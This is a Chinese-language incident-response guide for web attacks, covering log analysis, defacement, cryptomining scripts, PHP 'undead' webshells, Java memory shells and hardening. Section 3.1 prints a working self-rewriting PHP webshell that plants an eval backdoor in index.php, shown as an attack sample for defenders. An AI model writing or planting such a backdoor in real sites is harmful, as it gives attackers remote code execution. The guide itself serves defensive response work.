Web攻击应急响应与防御全面指南

一、Web日志分析技术

1.1 单个文件分析

• 检查异常访问记录：重点关注非常规时间、高频次、异常路径的访问
• 识别攻击特征：查找包含SQL注入、XSS、命令执行等攻击特征的请求
• 分析HTTP状态码：404异常增多可能代表扫描行为，200状态码异常可能代表成功入侵

1.2 多个文件分析

• 时间序列分析：追踪攻击行为的开始时间和持续时间
• IP关联分析：识别攻击源IP及其行为模式
• 会话追踪：重建完整攻击链，了解攻击步骤

1.3 批量挂黑页应急响应

• 特征识别：查找批量修改的页面，通常包含赌博、色情等非法内容
• 恢复步骤：
  1. 立即备份当前被篡改文件
  2. 从干净备份恢复被篡改文件
  3. 检查服务器漏洞，防止再次被入侵
  4. 修改所有相关密码

二、门罗币恶意挖矿应急响应

2.1 识别特征

• CPU使用率异常升高
• 存在可疑的JavaScript挖矿代码（如CoinHive）
• 网络连接指向已知矿池地址

2.2 解决办法

1. 定位恶意进程：

   • Linux: top命令查看高CPU进程
   • Windows: 任务管理器检查异常进程

2. 终止进程：

   kill -9 <PID>
   

3. 清除恶意代码：

   • 检查网站JS文件中是否嵌入挖矿脚本
   • 检查crontab是否有恶意定时任务

4. 加固措施：

   • 安装广告拦截插件
   • 部署WAF规则拦截挖矿脚本
   • 限制服务器外连矿池地址

三、不死马应急响应

3.1 攻击特征

<?php
    $file = 'index.php';
    $code = '<?php @eval($_POST["sb6e"]);?>';
    while(1){
        file_put_contents($file,$code);
        usleep(5000);
    }
?>

3.2 解决办法

1. 终止进程：

   ps -aux | grep index.php
   kill -9 <PID>
   

2. 服务重启：

   service php-fpm restart
   service nginx restart
   

3. 条件竞争清除法（当无法立即重启服务时）：

   • 创建竞争脚本，以更快速度覆盖恶意文件
   • 确保usleep时间短于不死马设置值（如5000）

四、内存马攻击应急响应

4.1 排查思路

1. Filter特征检查：

   • 动态注册的Filter在web.xml中无配置
   • 检查@WebFilter注解的异常使用

2. 日志分析：

   • 查找可疑jsp访问记录
   • 分析中间件error.log中的异常报错

3. 行为特征：

   • Filter匹配优先级异常调高
   • 存在非常规的代码执行痕迹

4.2 防御技术

• 硬件虚拟化技术
• 行为分析技术
• 关联分析技术

4.3 查杀工具

1. Java内存马扫描器：

   • GitHub地址：https://github.com/c0ny1/java-memshell-scanner

2. DuckMemoryScan：

   • GitHub地址：https://github.com/huoji120/DuckMemoryScan

五、文件完整性验证

5.1 Beyond Compare使用指南

1. 安装：

   • 官方下载：http://www.scootersoftware.com/download.php

2. 文件夹比较：

   • 识别被篡改、新增或隐藏的文件
   • 可视化差异显示

3. 文本比较：

   • 精确比对文件内容差异
   • 定位恶意代码插入位置

5.2 使用场景

• 快速发现网站文件被篡改
• 验证备份文件的完整性
• 追踪攻击者的修改点

六、综合防御措施

1. 备份策略：

   • 定期备份网站代码和数据库
   • 实施3-2-1备份原则（3份备份，2种介质，1份离线）

2. 漏洞管理：

   • 定期漏洞扫描（OWASP ZAP等工具）
   • 及时修复已知漏洞
   • 订阅安全公告关注新型攻击方式

3. 访问控制：

   • 最小权限原则
   • 关闭不必要的目录权限
   • 实施严格的文件上传限制

4. 安全加固：

   • 部署WAF（如ModSecurity）
   • 使用复杂密码并定期更换
   • 禁用危险函数（如eval、system等）

5. 安全意识：

   • 不轻易点击不明文件
   • 警惕社工攻击
   • 建立安全应急响应流程

七、应急响应流程总结

1. 识别：通过日志、监控发现异常
2. 分析：确定攻击类型和范围
3. 遏制：隔离受影响系统，阻止攻击扩散
4. 清除：移除恶意代码/进程
5. 恢复：从干净备份还原系统
6. 复盘：分析原因，加固防御
7. 监控：加强后续监控，防止再次入侵

通过以上系统化的应急响应方法和防御措施，可有效应对各类Web攻击，保障网站安全稳定运行。